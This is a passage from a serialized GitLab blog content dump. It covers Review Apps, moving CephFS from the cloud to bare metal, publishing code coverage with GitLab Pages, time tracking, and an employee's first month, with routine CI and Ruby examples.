Gitlab","en-us/blog/cognitive-logic-talks-migrating-to-gitlab.yml","en-us/blog/cognitive-logic-talks-migrating-to-gitlab",{"_path":37021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37022,"content":37027,"config":37030,"_id":37032,"_type":16,"title":37023,"_source":17,"_file":37033,"_stem":37034,"_extension":20},"/en-us/blog/introducing-review-apps",{"title":37023,"description":37024,"ogTitle":37023,"ogDescription":37024,"noIndex":6,"ogImage":36070,"ogUrl":37025,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37025,"schema":37026},"Introducing Review Apps","Transform your development flow with temporary review apps","https://about.gitlab.com/blog/introducing-review-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Review Apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2016-11-22\",\n      }",{"title":37023,"description":37024,"authors":37028,"heroImage":36070,"date":37012,"body":37029,"category":299},[26026],"\n\n{::options parse_block_html=\"true\" /}\n\nLet's talk about deploys. When a developer starts out with a new idea for an application, they'll typically start working locally, where running the app is as simple as typing `rails server` or `npm start`. But at some point, you need to deploy that app somewhere so that other people, hopefully paying customers, can use it. An easy place to start is to deploy to Heroku or maybe you're using a massive Kubernetes cluster, but really, there are tons of options out there. This post is not about those options. It's about deployment strategy.\n\n\u003C!-- more -->\n\n## Baby steps\n\nWhen you start, you have no users so there's very little risk in deploying directly to production. If you're still pitching your ideas to VCs, for example, you want your changes pushed up right away, usually right before a big meeting, so you push directly whenever you're ready. Nobody uses the app when you're not showing it to them, so who cares about \"production downtime\" or pushing untested code with bugs; nobody is using it! So you'll go ahead and create a production app named the same as your project:\n\n- **tanuki**\n\nBut of course, you really hope things don't stop there. You push some code, test it out, then get some real users, and eventually you realize you should have a separate app for testing that doesn't affect your real users. So you create a `staging` version, configured as much like production as possible including a production database, memcache or Redis, New Relic, Papertrail, and everything else you have added to your production app, but maybe scaled down so it doesn't cost as much. :) And if you're using GitLab, you'll probably embrace [continuous delivery](/blog/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) and set it up to automatically deploy to `staging` any time `master` is updated (but still require a manual deploy to go all the way to production):\n\n- **tanuki**\n- **tanuki-staging**\n\nBut what about testing out changes earlier on in development? Say you've got a merge request that you want your coworker to check out to see if you're going in the right direction? Ever tried to review a merge request involving CSS just by looking at the code? Yeah, it's not fun. You really need to see it running to know if it's OK or not. So, you start out by asking your team members to pull down your topic branch (you did create a topic branch for your change, right?) and then run the code locally to see how it looks.\n\n```\ngit pull origin\ngit checkout topic-branch\nbundle install\nrails server # or npm start or whatever\n```\nThat works for a while, especially while your entire company is full of developers, but what happens as you grow and you've got product managers, QA testers, and designers that may not have their development environment set up, or are just too busy to bother pulling down your branch just to see your code run. So you create a new `dev` app to show off your code on a running server:\n\n- **tanuki**\n- **tanuki-dev**\n- **tanuki-staging**\n\nThen your team grows and one day you're running your topic branch on the dev server and someone else pushes a different branch to test their thing, not realizing you were already using the server. Now you realize you need a separate app for each developer on your team:\n\n- **tanuki**\n- **tanuki-grzegorz**\n- **tanuki-kamil**\n- **tanuki-mark**\n- ...\n- **tanuki-staging**\n\nThis lets developers show off their work to their manager or product manager without getting overwritten by another developer. But at some point, in any fast-moving company, a single developer might have multiple features under development and want to demo them at any time, without having to micromanage their single `dev` app. So, you start creating new apps dedicated to big features.\n\n- ...\n- **tanuki-new-interface**\n- **tanuki-refactor-signup**\n- ...\n\nBut apps should be easy to create and destroy, so why not create a new one for every branch?\n\n- **tanuki**\n- **tanuki-6-update-logo**\n- **tanuki-7-refactor-backend**\n- ...\n- **tanuki-328-fix-typo**\n- **tanuki-grzegorz**\n- **tanuki-kamil**\n- **tanuki-mark**\n- **tanuki-staging**\n\nAs you can see, this gets complicated pretty quickly and boy, would that be a lot to manage manually.\n\nOver the last few releases, and culminating in 8.14, GitLab has been working to make this easier.\n\n## Introducing Review Apps\n\nReview Apps are ephemeral app environments that are created dynamically every time you push a new branch up to GitLab, and they're automatically deleted when the branch is deleted. This sounds nice and all, but what good is it? Well, rather than having a single `dev` environment for a project, or even separate `dev` apps for each developer, you get a new app for every topic branch, automatically. This let's you test and demo new features without having to ask in chat \"hey, can I deploy to `dev`?\" It's even better for the people on the periphery. Product managers can check out exactly what a merge request is going to look like without having to download and run a topic branch. QA and other users can take a look without having a development environment installed on their laptop at all.\n\n![Environments](https://about.gitlab.com/images/blogimages/review-app-environments.png)\n\nOnce you embrace review apps, you'll find it hard to go back. You'll get rid of all your `dev` apps. You might even move on to full [continuous deployment](/blog/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-deployment) and get rid of your `staging` app. After all, the feature will have gone through full automated CI testing, and with high fidelity feature-level testing on a review app, `staging` becomes an unnecessary speed bump on your way to full-speed productivity. Once a merge request is approved and merged, have it automatically deployed to `production`!\n\n![Deploy Flow](https://about.gitlab.com/images/blogimages/deploy_review_apps.png)\n\nReview Apps aren't just for large teams; they're great even for solo developers. Review Apps mean you have an environment running that contains only the code changes of one merge request. This solves four problems:\n\n1. Having each change go through multiple stages (development, staging and QA stages).\n1. Finding a problem in staging or QA and having to research what merge request caused it.\n1. Having to add screenshots and videos to your merge request.\n1. Looking at a merge request and not being able to test the UX and edge cases.\n\nTo [get started with Review Apps](https://docs.gitlab.com/ee/ci/review_apps/), you'll need to figure how to create and deploy a new app using shell scripts, then put that into your `.gitlab-ci.yml` in a special job.\n\nYou might use NGINX with subdirectories, like [we do for about.gitlab.com](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/.gitlab-ci.yml#L33-70). Or use the [Openshift client to create and build new apps](https://gitlab.com/gitlab-examples/review-apps-openshift/blob/master/.gitlab-ci.yml). Either way, you're in full control, creating and deploying temporary review apps on your own private infrastructure. Need them behind a firewall on dedicated PCs? No problem. Want them deployed in the cloud using the latest Docker technology? No problem. If you can script it, we can run it with GitLab CI.\n\n## A simple example\n\nThe `.gitlab-ci.yml` syntax is somewhat complex because we prefer being explicit over hiding magic. This example shows two jobs, one to start/update a review app, and the other to stop it. The key is in the declaration of an `environment` that has both its `name` and `url` be dynamic, based on the Git branch name. You can name the environment anything you like, but if you follow the convention of starting it with `review/`, the GitLab UI will group the apps in a `review` folder. The `start_review` job then points to the `stop_review` job using the `on_stop` keyword, which helps signal to GitLab to show the option to \"stop\" or delete the environment in several places in the GitLab interface. Setting the [`GIT_STRATEGY` to `none`](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#git-strategy) is necessary on the `stop_review` job so that the [GitLab Runner](https://docs.gitlab.com/runner) won't try to checkout the code after the branch is deleted. And of course both jobs only run on branches other than `master`.\n\n```yaml\nstart_review:\n  stage: review\n  script:\n    - rsync -av --delete public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    url: http://$CI_BUILD_REF_NAME.$APPS_DOMAIN\n    on_stop: stop_review\n  only:\n    - branches\n  except:\n    - master\n\nstop_review:\n  stage: review\n  variables:\n    GIT_STRATEGY: none\n  script:\n    - rm -rf public /srv/nginx/pages/$CI_BUILD_REF_NAME\n  when: manual\n  environment:\n    name: review/$CI_BUILD_REF_NAME\n    action: stop\n  only:\n    - branches\n  except:\n    - master\n```\n\n## Conclusion\n\nReview Apps are about improving the fidelity and speed of review; bringing everyone (product managers, QA, designers, etc.) into the conversation earlier, with higher quality information, so you move faster from idea to production. After you embrace them, you'll look back and wonder how you ever lived without them.\n\nDynamic environments were first introduced with experimental support in 8.12 and the ability to manually stop dynamic environments was introduced in 8.13. 8.14 adds automatic stopping of environments on branch deletion, as well as environment folders in the UI. With that, Review Apps are no longer considered experimental. Review apps are available now, for free, in GitLab CE, GitLab EE, and on GitLab.com.\n\n## Further reading\n\n- [Review Apps documentation](https://docs.gitlab.com/ee/ci/review_apps/)\n- [Environments documentation](https://docs.gitlab.com/ee/ci/environments/index.html)\n- [Review Apps with NGINX example project](https://gitlab.com/gitlab-examples/review-apps-nginx)\n- [Review Apps with Openshift example project](https://gitlab.com/gitlab-examples/review-apps-openshift)\n\n",{"slug":37031,"featured":6,"template":678},"introducing-review-apps","content:en-us:blog:introducing-review-apps.yml","en-us/blog/introducing-review-apps.yml","en-us/blog/introducing-review-apps",{"_path":37036,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37037,"content":37043,"config":37048,"_id":37050,"_type":16,"title":37051,"_source":17,"_file":37052,"_stem":37053,"_extension":20},"/en-us/blog/why-choose-bare-metal",{"title":37038,"description":37039,"ogTitle":37038,"ogDescription":37039,"noIndex":6,"ogImage":37040,"ogUrl":37041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37041,"schema":37042},"How we knew it was time to leave the cloud","How we're solving storage and performance issues as we scale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683600/Blog/Hero%20Images/data.png","https://about.gitlab.com/blog/why-choose-bare-metal","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we knew it was time to leave the cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pablo Carranza\"}],\n        \"datePublished\": \"2016-11-10\",\n      }",{"title":37038,"description":37039,"authors":37044,"heroImage":37040,"date":37046,"body":37047,"category":734},[37045],"Pablo Carranza","2016-11-10","\n\n{::options parse_block_html=\"true\" /}\n\nIn my last [infrastructure update][infra-post], I documented our challenges with\nstorage as GitLab scales. We built a CephFS cluster to tackle both the capacity\nand performance issues of NFS and decided to replace PostgreSQL standard Vacuum\nwith the pg_repack extension. Now, we're feeling the pain of running a high\nperformance distributed filesystem on the cloud.\n\nOver the past month, we loaded a lot of projects, users, and CI artifacts onto\nCephFS. We chose CephFS because it's a reliable distributed file system that can\ngrow capacity to the petabyte, making it virtually infinite, and we needed\nstorage. By going with CephFS, we could push the solution into the infrastructure\ninstead of creating a complicated application. The problem with CephFS is that\nin order to work, it needs to have a really performant underlaying infrastructure\nbecause it needs to read and write a lot of things really fast.\nIf one of the hosts delays writing to the journal, then the rest of the fleet is\nwaiting for that operation alone, and the whole file system is blocked. When this happens,\nall of the hosts halt, and you have a locked file system; no one can read or\nwrite anything and that basically takes everything down.\n\n![osd-journal-latency](https://about.gitlab.com/images/blogimages/osd-journal-latency.png)\n\nWhat we learned is that when you get into the consistency, accessibility, and\npartition tolerance (CAP) of CephFS, it will just give away availability in\nexchange for consistency. We also learned that when you put a lot of pressure on\nthe system, it will generate hot spots. For example, in specific places in the\ncluster of machines hosting the GitLab CE repo, all the reads and\nwrites end up being on the same spot during high load times. This problem is\namplified because we hosted the system in the cloud where there is not a minimum\nSLA for IO latency.\n\n## Performance Issues on the Cloud\n\nBy choosing to use the cloud, we are by default sharing infrastructure with a\nlot of other people. The cloud is timesharing, i.e. you share the\nmachine with others on the providers resources. As such, the provider has to\nensure that everyone gets a fair slice of the time share. To do this, providers\nplace performance limits and thresholds on the services they provide.\n\nOn our server, GitLab can only perform 20,000 IOPS but the low limit is 0.\nWith this performance capacity, we became the \"noisy neighbors\" on the shared\nmachines, using all of the resources. We became the neighbor who plays their\nmusic loud and really late. So, we were punished with latencies. Providers don't\nprovide a minimum IOPS, so they can just drop you. If we wanted to make the disk\nreach something, we would have to wait 100 ms latency.\n[That's basically telling us to wait 8 years][space-time-article]. What we found\nis that the cloud was not meant to provide the level of IOPS performance we needed\nto run an aggressive system like CephFS.\n\nAt a small scale, the cloud is cheaper and sufficient for many projects.\nHowever, if you need to scale, it's not so easy. It's often sold as, \"If you\nneed to scale and add more machines, you can spawn them because the cloud is\n'infinite'\". What we discovered is that yes, you can keep spawning more\nmachines but there is a threshold in time, particularly when you're adding heavy\nIOPS, where it becomes less effective and very expensive. You'll still have to\npay for bigger machines. The nature of the cloud is time sharing so you still\nwill not get the best performance. When it comes down to it, you're paying a lot\nof money to get a subpar level of service while still needing more performance.\n\nSo, what happens when the cloud is just not enough?\n\n## Moving to Bare Metal\n\nAt this point, moving to dedicated hardware makes sense for us. From a cost\nperspective, it is more economical and reliable because of how the culture of\nthe cloud works and the level of performance we need. Of course hardware comes\nwith it's upfront costs: components will fail and need to be replaced. This\nrequires services and support that we currently don't have today. You have to\nknow the hardware you are getting into and put a lot more effort into keeping it\nalive. But in the long run, it will make GitLab more efficient, consistent,\nand reliable as we will have more ownership of the entire infrastructure.\n\n## How We Proactively Uncover Issues\n\nAt GitLab, we are able to proactively uncover issues like this because we are\nbuilding an observable system as a way to understand how\nour system behaves. The machine is doing a lot of things, most of which we are\nnot even aware of. To get a deeper look at what's happening, we gather data and\nmetrics into Prometheus to build dashboards and observe trends.\n\nThese metrics are in the depth of the kernel and not readily visible to humans.\nTo see it, you need to build a system that allows you to pull, aggregate, and\ngraph this data in a way you can see it. Graphs are great because you can get a\nlot of data in one screen and read it with a simple glance.\n\nFor example, our fleet overview dashboard shows how many different workers are\nperforming in one view:\n\n![workers-load](https://about.gitlab.com/images/blogimages/workers-load.png)\n\n![workers-wait](https://about.gitlab.com/images/blogimages/workers-wait.png)\n\n### How we used our dashboard to understand CephFS in the cloud\n\n\nBelow, you can see OSD Journal Latency. You can see how, over the last 7 days shown, we had a spike.\n\n![osd-journal-latency-one-week](https://about.gitlab.com/images/blogimages/osd-journal-latency-one-week.png)\n\nThis is how much time we spent trying to write to this journal disk. In general,\nwe roughly perform commit data to this journal within 2 to 12 seconds. You can\nsee where it jumps to 42 seconds to complete -- that delay is where we are being\npunished. The high spikes show GitLab.com is down.\n\nWhat's great about having this dashboard is that there is a lot of data available\nquickly, in one place. Non-technical people can understand this. This is the\nlevel of insight into your system you want to aim for. You can build on your own\nwith [Prometheus][prometheus]. We have been building this for the last month, it's close to the\nend state. We're still working on it but to add more things.\n\nThis is how we make informed decisions to understand as best as we can what is\ngoing on with our infrastructure. What we tend to do is whenever we see\na service failing or performing in a way that is unexpected, we pull together a\ndashboard to highlight the underlaying data to help us understand what's happening,\nand how things are being impacted on a larger scale. Usually monitoring is an afterthought\nbut we are changing this by shipping more and more detailed and comprehensive\nmonitoring with GitLab. Without detailed monitoring you are just guessing at\nwhat is going on within your environment and systems.\n\nThe bottom line is that once you have moved beyond a handful of systems it is no\nlonger feasible to run one-off commands to try and understand what is happening\nwithin your infrastructure. True insight can only be gained by having enough\ndata to make informed decisions with.\n\n\n## Recap: What We Learned\n\n1. CephFS gives us more scalability and ostensibly performance but did not work well in the cloud on shared resources, despite tweaking and tuning it to try to make it work.\n1. There is a threshold of performance on the cloud and if you need more, you will have to pay a lot more, be punished with latencies, or leave the cloud.\n1. Moving to dedicated hardware is more economical and reliable for the scale and performance of our application.\n1. Building an observable system by pulling and aggregating performance data into understandable dashboards helps us spot non-obvious trends and correlations, leading to addressing issues faster.\n1. Monitoring some things can be really application specific which is why we are [building our own gitlab-monitor Prometheus exporter][prom-exporter]. We plan to ship this with GitLab CE soon.\n\n\u003C!-- identifiers -->\n\n[infra-post]: /blog/infrastructure-update/\n[prom-exporter]: https://gitlab.com/gitlab-org/omnibus-gitlab/issues/1481\n[prometheus]: https://prometheus.io/\n[space-time-article]: https://blog.codinghorror.com/the-infinite-space-between-words/\n",{"slug":37049,"featured":6,"template":678},"why-choose-bare-metal","content:en-us:blog:why-choose-bare-metal.yml","Why Choose Bare Metal","en-us/blog/why-choose-bare-metal.yml","en-us/blog/why-choose-bare-metal",{"_path":37055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37056,"content":37061,"config":37065,"_id":37067,"_type":16,"title":37068,"_source":17,"_file":37069,"_stem":37070,"_extension":20},"/en-us/blog/publish-code-coverage-report-with-gitlab-pages",{"title":37057,"description":37057,"ogTitle":37057,"ogDescription":37057,"noIndex":6,"ogImage":37058,"ogUrl":37059,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37059,"schema":37060},"Publish code coverage report with GitLab Pages","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672293/Blog/Hero%20Images/code-coverage-report-stats.png","https://about.gitlab.com/blog/publish-code-coverage-report-with-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Publish code coverage report with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"}],\n        \"datePublished\": \"2016-11-03\",\n      }",{"title":37057,"description":37057,"authors":37062,"heroImage":37058,"date":37063,"body":37064,"category":734},[2740],"2016-11-03","\n\nAt GitLab, we believe that everyone can contribute. We also use automated\ntesting extensively to make contributing to GitLab easier. Using automated\ntesting is a great way to improve confidence when someone needs to change\nthe code, which actually is the case in the majority of contributions to\nsoftware projects.\n\nBut how do we ensure that our test suite covers enough to aid the confidence\nin changing behavior of the software, and what can we do to keep on improving\nit?\n\n\u003C!-- more -->\n\n## What is code coverage?\n\nUsing the [code coverage](https://en.wikipedia.org/wiki/Code_coverage) metric is a\ntechnique that helps to improve the test suite, development process, and the software itself.\n\nTools used to measure the code coverage percentage usually extend the test harness\nenvironment and make it possible to map the application execution process\nback to the [source code](/solutions/source-code-management/) while automated tests are being executed. With that\napproach, you can not only learn how much of your code is covered by tests,\nbut it is also possible to find out what exact parts of the codebase are not\ncovered well enough.\n\nSome coverage analysis tools also make it possible to generate code coverage reports in HTML\nformat that you can then view in your browser. It makes it much easier to\ninspect the areas of code that are missing tests and are likely to need some\nimprovements as well.\n\nYou can take a look at the Ruby [code coverage report for GitLab](http://gitlab-org.gitlab.io/gitlab-ce/coverage-ruby/)\nthat is hosted on [GitLab Pages](https://pages.gitlab.io).\n\n![Code coverage report summary](https://about.gitlab.com/images/blogimages/publish-code-coverage-report-with-gitlab-pages/code-coverage-report-file-summary.png)\n\n## How to generate a code coverage report\n\nThere are a lot of code coverage tools available for many different languages,\nand you will need to find the most appropriate option for your particular needs. At GitLab, with\nprojects using Ruby, we often use [SimpleCov](https://github.com/colszowka/simplecov).\n\nYou will need to check the documentation for your tool of choice to learn how to\ngenerate the code coverage report. Once you are able to do this locally,\ncheck out the rest of this tutorial to learn how to publish the report with\n[GitLab Pages](https://pages.gitlab.io)!\n\nFor the sake of this example, we will assume that you are using Ruby with RSpec\nand SimpleCov.\n\n### How to configure your tools\n\nConfiguring SimpleCov can be as simple as extending your `spec_helper.rb` with:\n\n```ruby\nrequire 'simplecov'\nSimpleCov.start\n```\n\nWhen you run the `rspec` command, you will notice the code coverage report being\ngenerated when tests are completed. The RSpec example below comes from a very simple\ncode that contains a single test for the single class that is there:\n\n\u003Ci class=\"far fa-file-code\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n`spec/dog_spec.rb`\n\n```ruby\ndescribe Dog do\n  it 'barks' do\n    expect(subject.bark).to eq 'Woof, woof!'\n  end\nend\n```\n\n\u003Ci class=\"far fa-file-code\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n`dog.rb`\n\n```ruby\nclass Dog\n  def bark\n    'Woof, woof!'\n  end\nend\n```\n\nAnd the RSpec test harness output is:\n\n```text\nDog\n  barks\n\nFinished in 0.00058 seconds (files took 0.08804 seconds to load)\n1 example, 0 failures\n\nCoverage report generated for RSpec to /tmp/coverage_example/coverage. 6 / 6 LOC (100.0%) covered.\n```\n\nAt the end of the output, you can see that code coverage report was generated\nto the `coverage/` directory whose contents look like:\n\n```bash\n$ ls coverage/\nassets/ index.html\n```\n\nYes! This is an HTML code coverage report that we can publish with GitLab Pages!\n\n### GitLab CI configuration\n\n\u003Ci class=\"fas fa-info-circle\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\nTake a look at [our documentation](https://docs.gitlab.com/ee/ci/yaml/)\nto learn more about how to use `.gitlab-ci.yml`.\n{: .alert .alert-info}\n\nThe GitLab [CI configuration](/solutions/continuous-integration/) can be defined in `.gitlab-ci.yml` file. Let's go\nthrough the configuration that is necessary to publish coverage report with\nGitLab Pages.\n\n---\n\n\u003Ci class=\"fas fa-arrow-alt-circle-right\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n**1. Run the RSpec test suite first**\n\nThe most simple approach is to execute all tests within a single job in the\nCI pipeline:\n\n```yaml\nimage: ruby:2.3\n\nrspec:\n  script:\n    - bundle install\n    - rspec\n```\n\n\u003Ci class=\"fas fa-arrow-alt-circle-right\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n**2. Store the result as build artifacts**\n\n```yaml\nimage: ruby:2.3\n\nrspec:\n  script:\n    - bundle install\n    - rspec\n  artifacts:\n    paths:\n      - coverage/\n```\n\nLet's see if artifacts were stored correctly using build artifacts browser\nthat is available from the build sidebar. It is there!\n\n![code coverage report artifacts](https://about.gitlab.com/images/blogimages/publish-code-coverage-report-with-gitlab-pages/coverage-report-artifacts-browser.png)\n\n\u003Ci class=\"fas fa-arrow-alt-circle-right\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n**3. Finally, publish with GitLab Pages**\n\n\u003Ci class=\"fas fa-info-circle\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\nFollow the documentation about how to [use GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/index.html).\n{: .alert .alert-info}\n\n```yaml\nimage: ruby:2.3\n\nrspec:\n  stage: test\n  script:\n    - bundle install\n    - rspec\n  artifacts:\n    paths:\n      - coverage/\n\npages:\n  stage: deploy\n  dependencies:\n    - rspec\n  script:\n    - mv coverage/ public/\n  artifacts:\n    paths:\n      - public\n    expire_in: 30 days\n  only:\n    - master\n```\n\nA job that is meant to publish your code coverage report with GitLab Pages has\nto be placed in the separate stage. Stages `test`, `build` and `deploy` are\nspecified by default, but you can change that if needed. Note that you also\nneed to use `pages` as a job name.\n\nUsing the `dependencies` keyword, we tell GitLab to download the artifacts stored\nas part of the `rspec` job. You also need to rename the directory from `coverage/`\nto `public/` because this is the directory that GitLab Pages expects to find\nstatic website in.\n\nIt makes sense to deploy a new coverage report page only when the CI pipeline\nruns on `master` branch, so we added the `only` keyword at the end of the\nconfiguration file. This will also expire artifacts after 30 days, what does\nnot affect coverage report that has already been published.\n\n### How to run parallel tests\n\nThings get a little more complicated when you want to parallelize your test\nsuite.\n\nGitLab is capable of running tests jobs in parallel and you can use this technique\nto decrease wall-clock elapsed time that is needed to execute all tests /\nbuilds in the CI pipeline significantly.\n\nNumerous approaches are available, the most simple being to split test manually,\nwhereas the more sophisticated is to use tools or plugins that do distribute\nthe tests jobs evenly in the automated fashion.\n\nShould you decide to parallelize your test suite, you will need to generate a partial\ncode coverage report in each parallel job and store it as a build artifact.\nThen, you will need another stage in the pipeline with a job that merges the partial\ncode coverage metrics into the previous one and generates a single report that takes all\nresults (generated during parallel jobs) into account.\n\nAt GitLab, we parallelize our test suite heavily, and we do use additional\ntools to distribute the test jobs evenly. SimpleCov does not support merging\nresult sets out-of-the-box, so we had to [write a patch for it](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/scripts/merge-simplecov).\nThere is an issue about [contributing this change back to the SimpleCov](https://gitlab.com/gitlab-org/gitlab-ce/issues/23717).\n\n### How to deploy coverage report as GitLab Pages\n\nWhen you push your changes in `.gitlab-ci.yml` to GitLab for the first\ntime, you will see new jobs in the CI pipeline.\n\n![coverage-report-deploy-job](https://about.gitlab.com/images/blogimages/publish-code-coverage-report-with-gitlab-pages/coverage-report-pages-deploy-job.png)\n\nIf the `pages:deploy` job has been successful, the status icon for it is green.\nThis means that you can access you coverage report page using a URL like\n`http://group-path.gitlab.io/project-path`, for example\n`https://gitlab-org.gitlab.io/gitlab-ce`.\n\nThat way, a new coverage report will be published each time you push new code\nto GitLab!\n\n## How to use the code coverage report badge\n\nOnce you have the code coverage report published with GitLab Pages, you may want to\nput a link to it somewhere. We recommend using the code coverage badge that you\ncan add to your `README.md` file for that purpose.\n\nThis is how it looks in [our README.md](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/README.md).\n\n![coverage-badge-gitlab](https://about.gitlab.com/images/blogimages/publish-code-coverage-report-with-gitlab-pages/code-coverage-badge-gitlab.png)\n\nWhen someone clicks the coverage badge, the code coverage report page will be opened.\nThe Markdown source is as follows:\n\n```markdown\n[![Coverage report](https://gitlab.com/gitlab-org/gitlab-ce/badges/master/coverage.svg?job=coverage)](http://gitlab-org.gitlab.io/gitlab-ce/coverage-ruby)\n```\n\n\u003Ci class=\"fas fa-info-circle\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\nYou can find more info about report badges and the other types of badges in [our documentation](https://docs.gitlab.com/ee/ci/pipelines/settings.html#pipeline-badges).\n{: .alert .alert-info}\n\n## Summary\n\nAlthough the code coverage technique is great for revealing untested code and\nimproving overall coverage, it is not a great metric to tell how good\nthe tests are, but it helps people to contribute.\n\nWith GitLab, you can create simple software that it is easy to contribute to!\n",{"slug":37066,"featured":6,"template":678},"publish-code-coverage-report-with-gitlab-pages","content:en-us:blog:publish-code-coverage-report-with-gitlab-pages.yml","Publish Code Coverage Report With Gitlab Pages","en-us/blog/publish-code-coverage-report-with-gitlab-pages.yml","en-us/blog/publish-code-coverage-report-with-gitlab-pages",{"_path":37072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37073,"content":37079,"config":37083,"_id":37085,"_type":16,"title":37086,"_source":17,"_file":37087,"_stem":37088,"_extension":20},"/en-us/blog/track-your-time-in-the-same-tool-you-do-your-work",{"title":37074,"description":37075,"ogTitle":37074,"ogDescription":37075,"noIndex":6,"ogImage":37076,"ogUrl":37077,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37077,"schema":37078},"Track your time in the same tool you do your work","Announcing Time Tracking in GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684139/Blog/Hero%20Images/track-your-time-in-the-same-tool-you-do-your-work.jpg","https://about.gitlab.com/blog/track-your-time-in-the-same-tool-you-do-your-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Track your time in the same tool you do your work\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regis Freyd\"}],\n        \"datePublished\": \"2016-11-03\",\n      }",{"title":37074,"description":37075,"authors":37080,"heroImage":37076,"date":37063,"body":37082,"category":299},[37081],"Regis Freyd","\n\nIn 8.14 we are adding Time Tracking to GitLab Enterprise Edition as a Product to allow teams to stack their project estimates against their time spent. At GitLab, our goal is to build everything software development teams need to collaborate efficiently into one product. With each new release we reduce the number of external tools you need, allowing you to complete the full software development lifecycle within GitLab. Lets take a look at how Time Tracking works.\n\n\u003C!-- more -->\n\nMost teams use external tools to track time, but we wanted to give them a more natural and distraction free way to do this in the same tool they already use for the rest of the software development lifecycle. Like the rest of GitLab, Time Tracking is simple, efficient and out of the way. All you need is two new Time Tracking **slash commands** accessible from the body of an issue and merge request and in a comment field:\n\n- The `/spend` command will let you record the time you spent working on a task e.g. `/spend 10h 45m`. Multiple spend commands add to the total time spent, visible in the sidebar.\n- The `/estimate` command will let you enter a time estimate. Contrary to the `/spend` command, the last `/estimate` entry overrides any previous.\n\nThe `/spend` and `/estimate` commands can also be used independently of each other e.g tracking time without a formal estimation stage. With these two simple commands, you and your team have everything you need to get started estimating and track your time, all from within GitLab. You can read more about the exact specification in the [corresponding issue](https://gitlab.com/gitlab-org/gitlab-ee/issues/985), or in the [landing page](https://docs.gitlab.com/ee/user/project/time_tracking.html).\n\n![time tracking example](https://about.gitlab.com/images/blogimages/track-your-time-in-the-same-tool-you-do-your-work/time_tracking.png)\n\nTime tracking will be available with GitLab 8.14 as a Product for GitLab Enterprise Edition customers. Time tracking will be free while it is still in beta. It will also be offered as usual for free to anyone on GitLab.com. We can’t wait to see what you will do with it!\n",{"slug":37084,"featured":6,"template":678},"track-your-time-in-the-same-tool-you-do-your-work","content:en-us:blog:track-your-time-in-the-same-tool-you-do-your-work.yml","Track Your Time In The Same Tool You Do Your Work","en-us/blog/track-your-time-in-the-same-tool-you-do-your-work.yml","en-us/blog/track-your-time-in-the-same-tool-you-do-your-work",{"_path":37090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37091,"content":37095,"config":37098,"_id":37100,"_type":16,"title":37101,"_source":17,"_file":37102,"_stem":37103,"_extension":20},"/en-us/blog/working-at-gitlab-30-days-later",{"title":37092,"description":37092,"ogTitle":37092,"ogDescription":37092,"noIndex":6,"ogImage":17364,"ogUrl":37093,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37093,"schema":37094},"Working at GitLab - 30 days later","https://about.gitlab.com/blog/working-at-gitlab-30-days-later","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Working at GitLab - 30 days later\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2016-11-03\",\n      }",{"title":37092,"description":37092,"authors":37096,"heroImage":17364,"date":37063,"body":37097,"category":6634},[22111],"\n\nMuch like [Emily von Hoffmann](https://twitter.com/emvonhoffmann), I too recently finished my first month at GitLab. I started contributing regularly to GitLab in July, so although I've only been employed for a month, I feel like I've been here for several months. Most of my takeaways after this first month is primarily based on the company culture since I already had prior exposure to the product.\n\n\u003C!-- more -->\n\n## The Wow Factor\n\nOne of the most impressive part of the GitLab culture is it's efficiency. Although it is listed as a value, I did not expect it to be so pronounced. Monthly releases for GitLab CE and EE is just the tip of the iceberg of how much this team can accomplish in a short amount of time. I was amazed at how everything was ready for me before my first day of work. My GitLab email, my slack account, my swag codes and many onboarding items were all set up a few days after I signed my offer letter. I even had my business cards before I started my first day and got to hand them out to my coworkers before I left my previous company!\n\nThe efficiency of the 